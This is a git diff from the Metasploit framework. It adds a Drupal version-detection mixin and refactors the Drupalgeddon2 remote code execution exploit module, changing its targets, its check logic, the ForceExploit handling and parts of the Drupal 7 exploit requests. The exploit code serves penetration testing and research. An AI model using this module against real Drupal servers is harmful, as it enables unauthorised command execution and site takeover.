diff --git a/lib/msf/core/exploit/http/drupal.rb b/lib/msf/core/exploit/http/drupal.rb
new file mode 100644
index 0000000000000..b77c85e6350e7
--- /dev/null
+++ b/lib/msf/core/exploit/http/drupal.rb
@@ -0,0 +1,74 @@
+module Msf
+module Exploit::Remote::HTTP::Drupal
+
+ include Msf::Exploit::Remote::HttpClient
+
+ def initialize(info = {})
+ super
+
+ register_options([
+ OptString.new('TARGETURI', [true, 'Path to Drupal install', '/'])
+ ])
+ end
+
+ def setup
+ super
+
+ # Ensure we don't hit a redirect (e.g., /drupal -> /drupal/)
+ # XXX: Naughty datastore modification instead of send_request_cgi!
+ datastore['TARGETURI'] = normalize_uri(datastore['TARGETURI'], '/')
+ end
+
+ def drupal_version
+ res = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => normalize_uri(target_uri.path)
+ )
+
+ return unless res && res.code == 200
+
+ # Check for an X-Generator header
+ version = version_match(res.headers['X-Generator'])
+
+ return version if version
+
+ # Check for a tag
+ generator = res.get_html_document.at(
+ '//meta[@name = "Generator"]/@content'
+ )
+
+ return unless generator
+
+ version_match(generator.value)
+ end
+
+ def drupal_changelog(version)
+ return unless version && Gem::Version.correct?(version)
+
+ uri = Gem::Version.new(version) < Gem::Version.new('8') ?
+ normalize_uri(target_uri.path, 'CHANGELOG.txt') :
+ normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
+
+ res = send_request_cgi(
+ 'method' => 'GET',
+ 'uri' => uri
+ )
+
+ return unless res && res.code == 200
+
+ res.body
+ end
+
+ def version_match(string)
+ return unless string
+
+ # Perl devs love me; Ruby devs hate me
+ string =~ /^Drupal (\d+)/
+
+ return unless $1 && Gem::Version.correct?($1)
+
+ Gem::Version.new($1)
+ end
+
+end
+end
diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb
index e5182b541332d..838852c842da6 100644
--- a/lib/msf/core/exploit/mixins.rb
+++ b/lib/msf/core/exploit/mixins.rb
@@ -114,6 +114,7 @@
# Custom HTTP Modules
require 'msf/core/exploit/http/wordpress'
require 'msf/core/exploit/http/joomla'
+require 'msf/core/exploit/http/drupal'
require 'msf/core/exploit/http/typo3'
require 'msf/core/exploit/http/jboss'
diff --git a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
index 59bce898c4b4b..044ff8d48daac 100644
--- a/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
+++ b/modules/exploits/unix/webapp/drupal_drupalgeddon2.rb
@@ -7,7 +7,7 @@ class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
- include Msf::Exploit::Remote::HttpClient
+ include Msf::Exploit::Remote::HTTP::Drupal
# XXX: CmdStager can't handle badchars
include Msf::Exploit::PhpEXE
include Msf::Exploit::FileDropper
@@ -44,7 +44,6 @@ def initialize(info = {})
'Arch' => [ARCH_PHP, ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Payload' => {'BadChars' => '&>\''},
- # XXX: Using "x" in Gem::Version::new isn't technically appropriate
'Targets' => [
#
# Automatic targets (PHP, cmd/unix, native)
@@ -75,25 +74,25 @@ def initialize(info = {})
['Drupal 7.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
- 'Version' => Gem::Version.new('7.x'),
+ 'Version' => Gem::Version.new('7'),
'Type' => :php_memory
],
['Drupal 7.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
- 'Version' => Gem::Version.new('7.x'),
+ 'Version' => Gem::Version.new('7'),
'Type' => :php_dropper
],
['Drupal 7.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
- 'Version' => Gem::Version.new('7.x'),
+ 'Version' => Gem::Version.new('7'),
'Type' => :unix_memory
],
['Drupal 7.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
- 'Version' => Gem::Version.new('7.x'),
+ 'Version' => Gem::Version.new('7'),
'Type' => :linux_dropper
],
#
@@ -102,25 +101,25 @@ def initialize(info = {})
['Drupal 8.x (PHP In-Memory)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
- 'Version' => Gem::Version.new('8.x'),
+ 'Version' => Gem::Version.new('8'),
'Type' => :php_memory
],
['Drupal 8.x (PHP Dropper)',
'Platform' => 'php',
'Arch' => ARCH_PHP,
- 'Version' => Gem::Version.new('8.x'),
+ 'Version' => Gem::Version.new('8'),
'Type' => :php_dropper
],
['Drupal 8.x (Unix In-Memory)',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
- 'Version' => Gem::Version.new('8.x'),
+ 'Version' => Gem::Version.new('8'),
'Type' => :unix_memory
],
['Drupal 8.x (Linux Dropper)',
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
- 'Version' => Gem::Version.new('8.x'),
+ 'Version' => Gem::Version.new('8'),
'Type' => :linux_dropper
]
],
@@ -129,7 +128,6 @@ def initialize(info = {})
))
register_options([
- OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']),
OptString.new('PHP_FUNC', [true, 'PHP function to execute', 'passthru']),
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', false])
])
@@ -143,7 +141,9 @@ def initialize(info = {})
def check
checkcode = CheckCode::Safe
- if drupal_version
+ @version = target['Version'] || drupal_version
+
+ if @version
print_status("Drupal #{@version} targeted at #{full_uri}")
checkcode = CheckCode::Detected
else
@@ -151,9 +151,15 @@ def check
return CheckCode::Unknown
end
- if drupal_unpatched?
+ changelog = drupal_changelog(@version)
+
+ if changelog && changelog.include?('SA-CORE-2018-002')
+ print_warning('Drupal appears patched in CHANGELOG.txt')
+ elsif changelog
print_good('Drupal appears unpatched in CHANGELOG.txt')
checkcode = CheckCode::Appears
+ else
+ print_error('Could not determine Drupal patch level')
end
token = random_crap
@@ -167,7 +173,7 @@ def check
end
def exploit
- unless check == CheckCode::Vulnerable || datastore['ForceExploit']
+ if check == CheckCode::Safe && datastore['ForceExploit'] == false
fail_with(Failure::NotVulnerable, 'Set ForceExploit to override')
end
@@ -282,9 +288,9 @@ def execute_command(cmd, opts = {})
res =
case @version.to_s
- when '7.x'
+ when '7'
exploit_drupal7(func, cmd)
- when '8.x'
+ when '8'
exploit_drupal8(func, cmd)
end
@@ -300,72 +306,6 @@ def execute_command(cmd, opts = {})
res
end
- def drupal_version
- if target['Version']
- @version = target['Version']
- return @version
- end
-
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => target_uri.path
- )
-
- return unless res && res.code == 200
-
- # Check for an X-Generator header
- @version =
- case res.headers['X-Generator']
- when /Drupal 7/
- Gem::Version.new('7.x')
- when /Drupal 8/
- Gem::Version.new('8.x')
- end
-
- return @version if @version
-
- # Check for a tag
- generator = res.get_html_document.at(
- '//meta[@name = "Generator"]/@content'
- )
-
- return unless generator
-
- @version =
- case generator.value
- when /Drupal 7/
- Gem::Version.new('7.x')
- when /Drupal 8/
- Gem::Version.new('8.x')
- end
- end
-
- def drupal_unpatched?
- unpatched = true
-
- # Check for patch level in CHANGELOG.txt
- uri =
- case @version.to_s
- when '7.x'
- normalize_uri(target_uri.path, 'CHANGELOG.txt')
- when '8.x'
- normalize_uri(target_uri.path, 'core/CHANGELOG.txt')
- end
-
- res = send_request_cgi(
- 'method' => 'GET',
- 'uri' => uri
- )
-
- return unless res && res.code == 200
-
- if res.body.include?('SA-CORE-2018-002')
- unpatched = false
- end
-
- unpatched
- end
-
def exploit_drupal7(func, code)
vars_get = {
'q' => 'user/password',
@@ -381,7 +321,7 @@ def exploit_drupal7(func, code)
res = send_request_cgi(
'method' => 'POST',
- 'uri' => target_uri.path,
+ 'uri' => normalize_uri(target_uri.path),
'vars_get' => vars_get,
'vars_post' => vars_post
)
@@ -404,7 +344,7 @@ def exploit_drupal7(func, code)
send_request_cgi(
'method' => 'POST',
- 'uri' => target_uri.path,
+ 'uri' => normalize_uri(target_uri.path),
'vars_get' => vars_get,
'vars_post' => vars_post
)